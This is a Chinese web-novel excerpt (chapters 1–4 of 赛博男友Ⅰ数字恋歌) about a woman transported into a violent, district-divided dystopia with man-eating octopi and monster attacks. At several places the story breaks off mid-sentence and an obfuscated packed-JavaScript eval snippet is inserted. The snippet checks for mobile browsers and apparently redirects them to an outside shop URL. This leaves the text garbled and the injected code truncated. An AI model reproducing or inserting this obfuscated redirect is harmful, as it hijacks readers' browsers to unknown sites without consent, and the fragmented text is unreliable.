《赛博男友Ⅰ数字恋歌》 1. 红白宴 ——小颜,我很抱歉,不是你不够好,而是小羽更好,我们分手吧…… 沐颜使劲敲着键盘回复:“不好意思你在开玩笑吗?我们什么时候是那种关系???” ——您已被对方拉黑。 沐颜:“……” 天地良心,她真的只是顺手帮那位男同事拿了一次快递,好心反被造黄谣? ——沐颜,小舟说你在饭桌上拿红酒泼王老板了?你知不知道王老板的订单关系着我们部门下半年的全部绩效! 沐颜回想起下午有意无意蹭在小舟身上的咸猪手,好心假装把酒弄洒替她解围,没想到对方不领情反倒倒打一耙,顿时火上加火:“蓝主管,事情是这样的,你听我解释。” ——不用解释了,不管什么原因,你引咎辞职吧。 沐颜:??!!! 人怎么能这么倒霉? 她想好对策,誓要第二天将这些不公统统还回去,结果醒来一睁眼,傻眼了。 发现身前是一片金灿灿的天地。 “这些是……黄金?什么情况,让我暴富打脸他们的方式这么简单粗暴么?” 她转身看去,不由倒退几步。 浓浓硝烟战火里,热浪裹挟着腥甜与腐臭的气息袭来,满地金银珠宝里混杂着无数畸形巨大的生物残骸。 听到动静,一个皮肉碎裂,浑身血淋淋的人形骷髅架从残躯堆里探出了头,往她这边爬来。 地面温度很高,地上的血迹很快被蒸干,因为移动,骷髅架身上仅存不多的血肉被撕下粘连在地,可他似乎感觉不到疼,动作虽艰难缓慢却没有退意。 闻着越来越近的烤肉味,沐颜于心不忍往前走了几步:“这位……奇怪的朋友,我有什么能帮到你的吗?” 闻言,骷髅架周身一震,停止了扭曲爬行。 他艰难开口:“你为什么不跑,你不怕么?” 沐颜蹲下,怕他一直大幅度仰头把颈椎骨给折了:“梦境罢了,有什么好怕的。” 她一向镇定,天上不会掉馅饼,世上也不会有这么血腥诡谲的地方,这里百分之九十九是在梦境中。 骷髅头脑袋垂了垂,缓缓道:“是啊,只是一场梦。你还是走远点,这里要发生爆炸,会……很脏。” “那你呢?” 他还未答,空中突然响起轰隆声,紧接着一个庞然大物落下,钢铁骨骼的大脚一下就踩碎了骨骼人的右腿。 “既然来了,正好一起死!” 沐颜:……莫名奇妙的剧情。 她一抹脸上溅到的血,下意识退了几步就要跑,但很快反应过来这里是她的梦境,她何须畏惧。 只是骷髅人的反应过激,在她动作之前竟暴起扑上了钢铁巨人的肩膀。 “你快走。” 蚍蜉撼树,螳臂当车,愚蠢至极。 不过几个瞬息,他就快被钢铁巨人撕拉捶打出肉泥的雏形。 沐颜惊骇,立刻捡起一旁的金块狠狠往脑袋上砸去,一下,两下,眼前画面开始颤动,她顾不得疼,砸得更狠了。 钢铁巨人也被她的举动惊到,动作停顿下来,这是什么新的招数? 骷髅人气息微弱:“别伤害自己……” 沐颜:……她也不想啊,做个梦都开心不了多久,更郁闷了。 随着她最后用力一击,总算自己拍晕,成功醒过来。 沐颜捂着发疼的脑袋起身,只觉得心堵得厉害,门外叮咚叮咚的敲门声,更让人难受。 “你好,你的外……哎,你扑我身上做啥?不是,你醒醒啊……” 沐颜耳边吵,努力睁开沉重的眼皮,看清眼前的新人宴会,不由疑惑。 自己明明是在拿外卖时晕倒,醒来不在医院也该在家门口啊? 她伸手摸手机,没摸到,起身刚要走,就被一左一右给拉了回来。 左边短发老奶奶:“小姑娘,别急着走啊,吃完饭再走。” 右边胡子大叔:“是啊,我们第四区很少有人有资格举办喜宴,机会难得,一会儿多吃点。” 第四区?好奇怪的地名。 “请问第四区是哪儿?” 两人疑惑看着她。 “还能是哪里,第四区当然是第四区了。” “是啊,以我们的身份,也去不了第三区。” 嗯?第三区又是哪里?不会还有第二、第一区吧? 这里的地名命名,这么随意? “不好意思,我睡懵了,一时没过脑子……” 既然来了,酒席不蹭白不蹭。 沐颜坐下,仔细打量起宴会场。 宴会场的布置很奇怪,不是常见的圆桌形式,而是一排排座椅,桌子上安装有移动轮轨用来送菜。 如果上面放的是笔记本和笔,那就跟开大会没啥区别。 菜品很快传上来,小豆炖蘑菇,糖醋豆骨,红烧豆子头…… 一连十道,都是土豆制品。 “……要是有肉就好了。” 沐颜这般想着,向传菜方向看去,居然真的看到后面有肉菜传上来。 “大叔,章鱼刺身是这里的特色菜吗?” 哐当。 胡子大叔手里的筷子没拿稳,触电般转过身来:“你说什么?” “有章鱼啊,活的……” 一只只拳头大小的章鱼,装在精美的瓷碟里,正被传送带不断往众人餐桌上送。 沐颜声音弱了下去,因为胡子大叔脸上满是惊恐。 章鱼刺身,是什么禁忌? 她还没问出口,一声接着一声的惨叫顿时连成了片,整个会场开始骚乱。 沐颜视线被胡子大叔挡住,她想侧过身子去看是怎么回事,胡子大叔拦了她一下。 “你快跑!” 噗呲。 胡子大叔话音未落,一条软软黏腻带着血肉的触手从他的胸膛穿过,轻轻蹭到了她的脸庞。 一只白底蓝紫花纹的章鱼撕开胡子大叔的后背,大口大口啃咬着,吸收了血肉后它的身躯以肉眼可见的速度开始膨胀。 胡子大叔死了,生机在惊恐绝望的眼里一瞬间逝去。 没有哪个演员能有如此逼真封神的演技,没有哪种血液道具能有如此逼真的温度与味道,更没有哪种后期能有如此逼真的技术投影! 原本喜气洋洋的婚宴,不多时便被一群活蹦乱跳的章鱼变成了屠宰与进食场。 死亡正在降临。 沐颜很快镇定下来和幸存的人群一起往出口冲去,快到门口时,腿上突然被一只干瘦的手抓住。 是先前那位短发老奶奶。 她的双腿已经被章鱼扯断,拖了长长的血带往出口处爬。 “救救我,救救我……” 到处都有未死之人在苦苦挣扎,自己都自身难保,要救她吗? 沐颜迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526896|203556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑的一瞬,后面冲出来的人群便踩踏着老妇往前跑。 老妇整个身躯被践踏,被血肉浸泡,既可怖又可怜。 沐颜叹气,还是将人捞起拖着走。 不能因为救不了所有,一个也不救。 “您再坚持坚持。” 这么一耽搁,她本来很靠前的位置,现在已经被挤到后面。 老妇诧异:“你居然真的来帮我?” “……不是你喊我救的你?” 再说我真不救,也不见得能轻易甩开你的手啊。 老妇连连感慨:“你真是个好孩子,你会有好报的。” “现在说这些太早了,警察怎么还没来?这些家伙要是动作再灵敏点,早就把我们吃得渣都不剩。” “警察?是什么?” 沐颜抓狂,这里不会连警察都没有? 出口处挤了一百多人在努力推门,但是大门怎么也打不开,旁边的窗户旁还有几只细长的触手一闪而过。 沐颜:“老奶奶,我去捡个棍子防身,先扶你到旁边躺一下,可以吗?” 老妇摆手拒绝,出口就在眼前,退后一步都是对生命的不尊重。 沐颜表示理解,便让她倚着一旁的柱子。 刚来的时候她就注意到大厅正中放着一座工艺精美的青铜烛台。 对于大多数生物而言,对火有着天然的畏惧,蜡烛烧完,烛台本身也是极好的防身武器。 沐颜刚拿起青铜烛台,身后的大门突然从外被撞开,咸腥气息裹挟着利风涌来。 一只体型巨大的章鱼如同保龄球般滴溜滚进,从它身上不断掉落较小的章鱼,将沿路来不及躲闪的人抓到吸盘里大快朵颐。 坚固如石的立柱如同纸般脆弱,一撞即破,倚着柱子的老妇躲闪不及,被压成一摊肉饼。 可沐颜来不及感伤,因为巨型章鱼穿过立柱后,径直朝她滚来。 几乎在一瞬间,就到了眼前。 她避无可避,在无数沾着新鲜血肉的触手向她袭来要把她撕碎的同时,执起青铜烛台向它刺去。 烛焰触到章鱼大圆脑袋的一瞬,它的身子突然一僵,周围幸存的人就开始劫后余生的欢呼起来。 等等,她这还没把大章鱼弄死,现在高兴是不是太早了? 还有,旁边那么多还在吃人的小章鱼,他们都选择性看不见么? 沐颜的疑惑很快就得到了解答。 下一瞬,一道红色的光线从烛焰的位置射出,擦着她的发丝而过。 空气中充斥着蛋白质被烧焦的气味。 是激光! 青铜烛台自然没有这等功能,随着大章鱼被激光射穿,身躯很快软下去,露出了后方来人。 一群穿着黑色制服的人全副武装,迅速入场,对着嗜血章鱼一顿射杀。 而刚刚出手相救的那人,此刻正好把枪放下,是一个个子高挑,身着风衣便服,带着墨镜的男子。 他在场上虽未言语,身上的气质或者说杀气却一眼能让人看出他身份不简单。 “他是谁?执勤队里我怎么没见过?” “嘘,你小点声,聚众非议执政官那是要掉脑袋的。” “啊?执政官怎么会来我们第四区了?” “对,是那个执政官,我在报道上见过。” “什么报道?” “和第二区的联姻啊,他和女科学家安羽……” 2. 无路可去 执勤队,执政官?还真的有第二区? 什么跟什么啊? 沐颜脑子里一团浆糊,就见男子不去帮他的伙伴,却是一步一步向自己走来。 “完了完了,看起来好好一姑娘,也要到头了。” 沐颜:…… 她和章鱼长得应该没有相似之处,这人要做什么? 眼见男子离自己距离已经很近还没有停下的意思,沐颜往后退了一步:“你别过来,有话直说。” 男子抬起的手一顿,然后放下。 他道:“别怕,我只是想帮你擦掉脸上的血迹。” 呼,她还以为要抽她。 “我自己可以。” 进来的小队只负责杀死章鱼,然后打包带走,对于现场幸存人员,并没有理会。 沐颜看到这场喜宴的主角,满身血污的新人互相搀扶在血肉里挣扎。 他们受伤了,试了好几次也没能爬出来。 她想过去帮忙,就听风衣男子清冷道:“站着别动。” 沐颜往旁边挪一小步,他的视线就跟了过来。 “你看我说什么来着,这姑娘绝对活不了了。” “有没有可能人家是看上她了?” “其他人还好说,这位可真不可能。” 沐颜心道我真是谢谢你们啊,这么期待她去死。 一位执勤人员走过来:“贺队,都清理完毕,可以开始了。” 被称作贺队的男子点头,幸存的人似乎对此很熟悉,纷纷开始自觉排起队。 他们这是? “做检测。” 贺队似乎知道她所想,继续解释:“只有确认没有被异种感染才能离开。” “我也需要做?” “嗯。” 沐颜心里没那么忐忑,按照丧尸片里的经验,没有被咬便不会被感染,而且那么多人都踩在混有章鱼粘液的血肉里,表情也十分坦然,说明被感染到的风险极低。 “你刚刚救了我,不管出于什么原因,我都要向你说声谢谢。” 检测用的是一种显色卡片,将指尖血放在上面,半个小时后,如果上面指示剂的颜色由紫色变蓝色,那便是安全通过。 沐颜按照要求去做,等了大概二十多分钟,就看到了从紫底里慢慢透上来的几点蓝,心里松了一口气。 可如果检测不通过,是不是会死? “哎,你帮我看看,什么颜色才是安全的啊。” “我也不知道,我也害怕。” “你们是什么颜色的?” 有人开口后,幸存人群里开始了小规模骚乱,大家纷纷伸着脑袋去看对方的卡片,自觉按照卡片颜色聚在了一起。 一波红色,一波蓝色。 沐颜不理解,颜色变化卡片上不是已经说得很清楚了,为何他们还问,难道这么多人都不识字? 不多时,一名执勤队员出来,指了指身后的房间:“一个接一个进去。” 没有人动。 那名队员提高音量,又喊了一次,还是没人动。 他声音冷下来:“你们拒不执行,所有人都得死,抽签吧。” 听天由命,这下谁都拒绝不了。 沐颜抽到的号码是三,第一次讨厌这么好的运气。 抽到第一第二的两名男子刚好是一红一蓝,他们早已瘫软在地,被架着进去。 不多时,两道枪声接连响起。 怎么会?明明卡片上写的是蓝色是安全的,红色才是被感染! 不容她多想,执勤队员已经走过来:“谁是三号?” 周围人立刻往后退去,她站在原地显眼得不行。 沐颜:“我很确定自己没有被感染,可以不去吗?” “可以,但你现在就会死。” 真是糟糕的局面。 沐颜攥紧了手里的卡片,打算赌一把。 房间里很空,两个执勤队员站在一叠裹尸袋旁,还有两个正在清洗地面上的血迹。 那个被叫做贺队的,正坐在椅子上,旁边还有个拿着仪器记录的执勤队员,他道:“请展示你的卡片。” “可以,但我想问,这里可有公平可言?” “你这话什么意思?” “所有人的卡片上变化的颜色只有两种,前面进来的两人分明是两种不同的颜色,你们为何都杀了?” 记录的执勤队员有些意外:“你是在质疑我们?” 沐颜冷言:“你们是真的想鉴别出被感染的人,还是找借口想把我们全部杀了。” “你胡说些什么?” “我没有胡说,这卡片上写得清清楚楚,是你们胡作非为草菅人命!” 记录的执勤队员摸了摸光滑的脑袋:“草菅是什么意思……你拖延时间也没用,你赶紧把卡片亮出来,不然我直接出判决了啊!” 沐颜磨磨蹭蹭把卡片拿出。 “动作快点,手都挡住了看不到。” “不好意思,手麻了,我靠近点。” 她向前一瞬,爆发出最快的反应速度,将卡片直接拍他脸上,然后转身扑向身旁的贺队。 谁让这里只有他一个人没有全副武装,脖子处清晰暴露出来。 第一次挟持人质,她心里有些忐忑,但为了保命,也没别的法子。 沐颜拿着从青铜烛台上拆下的一根尖刺抵在他颈动脉处,冷声道:“都别过来,不然我杀了他。” 然而他们真的都没有妄动,就这么定定看着她,这么看不起她这个劫匪的么? “给我准备一辆车,送我离开,等我安全了我自然会放了你们队长。” 她加重了些力道,手里的人质却配合地往后仰了仰:“抱歉,公务在身,我不能亲自送你离开。” “如果你不介意,可以在外面等我一下。” 负责记录的执勤队员捡起地上的卡片,一头雾水:“队长,她的卡片是蓝色的啊,让她自己走就行啊。” ? “你们真的放我走?” 站在裹尸袋旁边的执勤队员也忍不住道:“活人走那边,死人走这边,别耽误时间,你到底走不走?” 沐颜还欲说些什么,突然感到有轻轻的震动传来,她余光看去,是人质手里拿着的枪,正悠闲地轻轻敲动椅子所致。 他们全副武装,人质也有武器,要杀她易如反掌,能拖延到现在,除了对方真没必要杀她,沐颜想不出第二种可能。 带着四号进来的执勤队员纳闷:“你怎么还没走?” 他过来催,沐颜再疑惑只能跟上。 四号已经脸色惨白,她卡片的颜色是蓝色的。 擦肩而过时,沐颜匆匆道:“放心,你会没事的。” 可她刚走入房间里的通道,身后就传来了一声枪响,接着便是女人倒地被装进袋子,清洗地面的声音…… 天上下着让皮肤发白起皱的酸雨,沐颜无处可去,躲到转角处的角落里。 街道上诡异的安静,愈发衬得不时响起枪声的可怖。 一声,两声,三声…… 他们一共八十七人,枪声响了七十八声,和她从同一位置出来的八人里,没有红卡, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526897|203556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是蓝卡的也不止这么少人。 这里会吃人,她得离开。 她这般想着却抵挡不住慢慢升起的睡意,等到被惊醒时,太阳已经升起,旁边还站着尊凶煞帮她挡直射过来的阳光。 “醒了,走吧。” 沐颜警惕:“谁要和你走!” 这是什么新型冷笑话,她看起来只有三岁谁问都可以带走? 贺卡错愕:“我以为,你是在等我。” 沐颜想笑笑不出来:“不是。” “我们不认识,请你也不要再和我说这种容易让人误会的话。” 他眼里黯淡:“我叫贺卡,我有什么可以帮到你的?” “不用。” 沐颜拒绝得更干脆,谁关心他叫什么,天底下哪有免费的午餐,他没钓鱼执法自己就该满足,现在她就该撒腿就跑。 说干就干。 沐颜回头看了好几次,确定他没有追来,悬着的心才稍稍放下。 她不是这里的人,搞不好被发现了连人基本的待遇都不会有。 她得想办法离开。 贺卡目送着沐颜离去,许久嘴角扬起一丝苦涩:“造化弄人。” “什么?” 一个声音冷不丁从他身后冒出。 “关山月?你怎么来了,这个时间你应该还在外面割草。” 关山月,预备执政官,性情跳脱。 “你管我,你自己急匆匆跑回来怎么不说,我还以为第四区被炸了呢。” “沐颜呢,我在内网看到你们执勤记录了,她回来了对吗?” “嗯。” “人呢,人呢?我老多事想问她了。” “走了。” 关山月像被踩了尾巴的猫:“走了?贺卡你怎么不拦着点?你难道就不想见她吗?” 贺卡看不出情绪:“她被章鱼触手甩到了脑袋,不记得以前的事了,后面遇上,你别太纠结于此。” 关山月:“……” “贺卡你别走,你认真的?” 贺卡叹息:“她有自己要做的事,我们谁都帮不了……” * 沐颜望着空荡荡的街道,不由郁闷,人都哪去了? 这里营业的场所很少,大部分的建筑都是密集的居民楼。 她走了挺远的距离,见到人最多的地方除了宴会场就是早上碰到的一辆轨电车。 那些人上车时,都将左手腕在车门前一扫,直接打消沐颜跟上去的念头。 坐车要身份识别,她在这里没有身份。 沐颜继续往前走,接近日落时,她终于看到了一点不一样的地方。 一条极宽的马路,足足有五六里横在眼前,马路中间,依稀分布着小房子,房子上有编号:第四区009栋。 马路对面,是一片和这里差不多的建筑,沐颜想到对面看看。 前后看去,等了好一阵儿后总算有人出来了。 那人先是到马路中间的小房子里说了什么,然后里面就会出来人,拿着仪器对他一番检查,大概二十分钟这样才放行。 不行,她没有身份也过不去。 沐颜更郁闷了,无处可去,无人可问,现在天还黑了,只能先在街边找个角落凑合。 她刚躺下没多久,一道七彩的光线就照到了她身上。 对面一家叫人间一梦的店铺亮起霓虹,开始营业,里面依稀传来几句欢声笑语。 “这是……这里的KTV?” “KTV是什么?” 一颗黄毛头从旁边探了出来,好奇问道。 3. 烤肉 沐颜看去,是一个年纪不大,有些瘦弱,一看就无所事事天天闲逛的街头小子。 她立即起身,抓紧了手里的青铜刺。 “没什么,就是一个唱歌的地方。” 街头小子却道:“别藏了,我都看到了。” 沐颜故作镇定:“什么?” 要是他接下来说的对自己不利,那她就立即开跑。 “你是流民啊。” “啊?” “流民就是在第四区没有合法身份的人,你是真不懂还是装不懂?” “你想举报还是什么?” 他指了指沐颜,装作没看见也不是不可以。 “抱歉,我拒绝。” 街头小子见她要走立刻明白了什么,挡在她面前:“你想哪去了,你这样也不是我的菜,我说的是要你用你手上的手链作为交换,我可以告诉你获得合理身份的方法。” 沐颜心道,看来自己身上的物件在他们这里不常见,应当有点市场。 她把手链摘下:“可以,但你得回答我一个问题。” “行,我今天心情好,你问。” “我怎样才能离开这里?” “离开?你要离开?你居然要离开?” 他突然大喊大叫起来,沐颜吓了一跳。 “我们的世界足足有四个区,都容不下你这尊大佛么!” “你能不能不要这么大惊小怪?你难道不觉得这里很不对劲,这里有妖怪啊,会吃人的那种!” 街头小子摇头:“没有啊,这里没有人会想离开。” “若我非要呢!” 街头小子想了想,指向夜空,那就征服它。 “它是谁。” “不知道。” “那谁会知道?” “也许第一区的执政官他们知道吧,据说那里的大能沟通不同世界。” 沐颜心狂跳,这不就是离开这里的路? 真是踏破铁鞋无觅处,得来全不费功夫。 “我如何去第一区?” “成为拾荒人,就可以合法跨区活动,还能获得物质支持,不然你就只能辛苦打工挣钱。” 沐颜:…… 她是被绑到什么奇怪的地方了吗? 难道她真的穿到另一个世界? 沐颜摘下滴釉耳钉:“现在告诉我怎样成为拾荒人,它也是你的了。” “你往西走,一直走,走到尽头,那里有拾荒人,你去问他们,他们知道。” 沐颜:…… 她今日一直从西往东走,等她走到城市边缘时,已是下午。 不远处的山丘上有一处整齐的营地,来往走动的都是一身武装的大块头,看样子无疑是街头小子说的拾荒人。 她朝山坡上的营地走去,打算见招拆招,离得还有些距离,就听到里面有人破口大骂。 “我看你是不要命了,老子拿血拿命换来的几两肉,眼皮子底下都敢拿!” “田哥,别和他废话坏了兴致,拖出去打一顿得了。” “你要阴老子?不知道姓贺的现在在第四区巡视?” “田哥我错了。” “求求你们别打了,我知道错了……” 一个十一二岁的小孩从帐篷里被丢出来,脸上身上青一道紫一道。 沐颜看着可怜,过去扶他。 里面的人不解气,追出来想继续打,看见沐颜去扶,当即要一起打。 沐颜高声道:“不就是肉烤焦了,多大的事,我帮你们。” 她在外面听得清楚,这几个人不知从哪里得了块肉,想吃又不懂怎么吃。 里面的人也走了出来。 “你当真会烤?” “当然。” 不但会,来这之前还没少吃。 田哥狐疑看着她:“烤好了我可以不打他,烤不好我连你一块打。” 沐颜:“不,烤好了你们告诉我怎样成为拾荒人,至于打不打他你们随意。” 按照他们的说法,贺卡最近在这里,没有人敢真的捅篓子。 这里人命既不值钱,也值钱。 躲在她身后擦鼻血的小孩听得一愣一愣的,这人是来救他的,还是来揍他的? 后面出来的人道:“小姑娘,活着不好么,为什么要当拾荒人?” 沐颜言简意赅:“与你无关。” 两人小声商量一阵后,这才让她进来。 沐颜斜了眼身后的小孩,压低声音:“傻啊,还不快跑。” 小孩这才回过神来要跑。 帐篷里还坐着三人,里面混杂着血腥味和焦糊味,闻起来就非常让人作呕。 最先见到的那人开口:“你别耍花样,别看你是女娃,搞砸了我们的食物一样要让你褪一层皮。” 沐颜淡淡应着:“知道。” 她拿过一旁的刀,将表面烤焦的部分割下来,正想丢,看到旁边心痛不已的五人,立即改口。 “不想浪费也可以吃掉。” 反正吃不死人,最多也就是拉肚子。 有几人是想动的,但为首的田哥咽了咽唾沫,道:“都给我出息点,烤焦了怎么吃,以后跟着哥混,吃香喝辣的多得是。” “哦。” 沐颜直接将焦肉丢出帐篷外,无视那些要把她也片了的目光。 从肉质上看,应该是牛肉,足有五斤多。 他们不懂处理,直接把一整块架火上烤,烤得熟才怪。 沐颜切掉焦肉后,将剩余部分切成一小片一小片放在火堆旁的石头上炙烤,不多时肉类经过烘烤的香味就飘了出来。 “好了,尝尝。” 不用多余的调料,味道也足够让从没吃过的人着迷。 “田哥先吃。” “对,田哥先吃。” 沐颜没理会他们的客套,继续烤着,等她把第二批烤好的牛肉片递过去的时候,发现他们还没吃完。 应当说他们光是闻就闻了半天,然后又舔了半天,再在嘴里嚼吧半天,吞咽前还要再流连忘返半天,总之就是五分钟后都没能吃完一片。 沐颜心道,真可怜。 一个时辰过去,未烤的部分还剩三分之二,她直接拿起作势要扔到炭火里,问:“现在告诉我怎样成为拾荒人?” 田哥赶忙让她放下,搓了搓手指,边回味边回她:“说来简单也简单,走野路子,杀异种。五级及以上异种大脑内会生出芯片,你只要拿到一个就可以去第四区的统战部登记,成为自由拾荒人,可以自由在第四、第三区行动。 “但若想让人尊敬,成为编内拾荒人,也就是他们口中执勤队成员,就去参加执勤队的考核,通过后只要抱对大腿,哪个区都随你自由来去。” “去第一区也可以吗?” 田哥冲她嘿嘿笑着:“小姑娘,这个信息可要用另外的东西来换,你要知道,要不是贺卡在这里,你早就……算了,你走吧,剩下的肉不用你烤,今日的事漏出去一个字儿,哥几个虽怕那姓贺的,但也有法子能让你先看不到明日的太阳……” 离开时,外面天色已黑,沐颜正想着要怎么度过,一只手突然摸到了自己的肩膀。 沐颜吓一跳,回身一看,是个皮肤黝黑的老人,在吱吱呀呀比划着。 这时先前那个小孩从后面冒出:“姐姐,我爷爷不会说话,他是说谢谢你救了我。夜里外边不安全,你若是不介意可以先到我家里住一晚。” 沐颜举手之劳何足挂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“举手之劳,我不要你们的钱,再说,要挣钱也不能挣你们的。” 她说完,栖乐小心包起揣怀里,宝贝得不行。 看见他开心,沐颜莫名来到这里压抑的心情也好了些许。 “沐颜,你是个好人,你一定会有好报的。” “打住,你千万别这么说。” 沐颜对这句话莫名有点阴影。 栖乐笑笑:“好了朋友,时间快到了我也要走了。” 沐颜送他到外面:“有缘再见。” 栖乐呢喃:“有缘再见?” “这真是一个好词。” 沐颜看着他的背影逐渐消失在风沙里,不由道:“也是个奇怪的家伙,但并不让人讨厌。” 翌日一早,沐颜本想去问问五级异种的事,没想到刚一开门,就被突然出现的一群人吓一大跳。 “你们这是……” “真年轻啊。” “错不了。” “哎,你们听我说,那个我……” 沐颜还没说完,就被人七手八脚推回屋里,按在桌子旁,跟前哗啦落下一块块大小不一材料不明的物件。 围过来的都是同村的村民,苏桦和哑巴爷也在里面,大家脸上没啥恶意,反而笑得还挺灿烂。 沐颜不明所以:“大家这都是做什么啊?” 4. 猴脸花 苏桦拿了一捆烤焦的树枝过来,笑嘻嘻道:“沐颜姐,大伙听乐叔说你识字,还能写字,都想让你帮读信写信。” 沐颜就要起身去揍人:“他人呢?” 这是坑她吧。 “当然,他也说了你现在想挣钱,我们可以付酬劳的。” 沐颜当即坐稳了:“一点没错,你乐叔说得没错。” 有钱不挣是傻子。 苏桦有些羞赧:“但是我们的钱不多,你看可以吗?” 沐颜大笔一挥:“多少凭心意,我都行。” 众人七嘴八舌间,她对这里的情况有了更多了解。 第四区百分之九十多的人都没上过学,剩下不到百分之十的人里,也不到一半会写字。 前段时间,这里唯一识字的老先生也过世了,而城里的先生,他们也请不起。 几十年前,上面进行过一次大改革,其中一项便是鼓励对外探索。消息流通起来后,一些年轻人开始向外走去,试图寻找往上走的契机,村子里剩下的大部分都是留守的孤寡老小。 他们不识字,也没有通信设备,只能靠原始的写信形式寄托对亲友的思念。 从早上一直忙碌到深夜,来找沐颜的村民才全部送走,她匆匆扒拉了几口黑糊糊充饥,蒙头就睡。 可是,这一觉并没有能安稳睡到天亮。 沐颜被猛烈的轰炸声惊醒,就见屋外火红一片,有不少人往外跑,她抄起木棍跟着跑去。 村子再往西,是连片的山丘,山脚下已经聚起了不少人,哑巴爷和苏桦也在里面。 哑巴爷正把苏桦紧紧搂在身前,似乎不想让他离开。 “发生什么事了?” 哑巴爷吱吱呀呀,她听不懂,旁边包着头巾的阿姨帮忙解释。 “哑巴爷说那边危险,让你不要去。” 沐颜没有送死的癖好,点了点头,问道:“那边打起来了?” “是啊,猴脸花过来了,执勤队正在阻挡。” 沐颜疑惑:“你们怎么看起来不是很害怕的样子?” 头巾阿姨局促笑了下:“怕又不能不死。” “再说像我们这样劣等的人,死不死其实也没人在乎。大改革后我们能有一处苟活的地方,其实已经该知足了。” 她这般说着,旁边开始有人三三两两往回走,不是逃亡,而是回去睡觉。 沐颜看到前方密集响起炮弹火焰的地方,有一道直通云霄的红色光幕。 人类根据地就这么大,防线一旦突破,他们又能跑到哪里去呢。 那些安全的地方,他们没有资格进入。 “苏爷爷,我们也回去吧。” 人群都散得差不多了,用目光也没法帮忙杀死猴脸花。 沐颜招呼着一老一小回去,苏桦突然开口:“沐颜姐,你见过和人一样大的猴脸花吗?” “没有。” 她是实话,她见过猴子,人脸,花卉,唯独没见过三者结合,“但我不好奇,我劝你……” 她话音未落,半空突然响起直升机轰隆声。 一架直升机从他们上方低空飞过,起落架上还系着一个物件。 三人蹲下躲避,沐颜只觉有东西滴下,用手一摸,是血。 苏桦大喊:“是乐叔,他在上面。” “他在引路,他要开路!我要和他一起!” 哑巴爷按不住全力挣脱的苏桦,着急去追,没跑多远就绊倒在地,膝盖立即肿了起来。 沐颜只觉不妙,苏桦向着直升机飞的方向跑去,而直升机飞往的,又正是炮火密集的地方。 “苏爷爷,没事吧。” 哑巴爷吱吱呀呀,都快急哭了,撑着起身还要追。 沐颜哪怕听不懂此刻也能知道他的意思,她没法,毕竟爷孙救过她,只得道:“苏爷爷,我去追,你别跟来了。” 她跑了没多远,就感到身后劲风袭来,下意识往旁边一偏,一把厚重的砍柴刀擦着脸庞飞过,打到前面的沙土里。 ! 她回身看去,就见哑巴爷不知何时追了上来,但明显体力已经到了极限。 他瘫倒在地,用手比划着让沐颜把刀拿着。 送武器的出发点是好的,就是差点把她也送走了这点十分不好。 沐颜弃了木棍,拎起砍刀继续往前追。 她身体素质还算可以,不多时就看到了前方呆站着的苏桦。 全手全脚,脑袋也还在,沐颜稍稍能喘口气。 “苏桦,苏爷爷很担心你,你不该这么鲁莽。” 苏桦没有应答,而是伸手指向前面的山谷。 不远处,直升机悬停在山谷上方,下方的绳子上绑着的物件轮廓清晰可辨。 是一个人。 那人浑身浴血,软绵绵的,正在被直升机上的人用绳子操控着不断摔打向地面。 血肉模糊,骨架分离…… “这是……” “是乐叔,他当选了引路人,正在开路。” “他说的自己没有时间了,过了今日就来不及了,原来是这个意思。” 沐颜嗓子有点发干:“他为什么要这么做?” “钱,做引路人,任务结束后,他们的家人可以获得一笔十分丰厚的报酬。” “人类血肉对外面很多异变的生物都有极强的吸引力,用新鲜人骨能最高效的把它们引走。” “没有更好的武器吗?” 苏桦惨笑:“别的区大概会有吧,我们区反正是没有的。” 沐颜脑海里突然闪过一个词:廉价的人肉炸弹。 “苏桦,我们回去吧。” “不,我要到前面去。” “可你爷爷还在等你回家。” 苏桦指了指她手中的砍刀。 “五十年前,我爸爸也是引路人,这是他留给我的。爷爷既然给了你,我想他也知道我将要做什么。” “沐颜姐,你要和我一起去吗?” “如果我说不,你还是会去对吗?” “是。” 沐颜叹气:“那我没得选啊,直升机往前走了,我们赶紧跟上,早去早回。” 他们在天亮前来到了交战地边缘。 那里遍地残破的猴脸花身躯,流出的红白黏液积起半米高度。 如她所料,那道红色光幕是激光阵,靠近的猴脸花都被烧成了灰烬。 炮火已经停歇,视线够不着的地方,还不时响起炮火打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 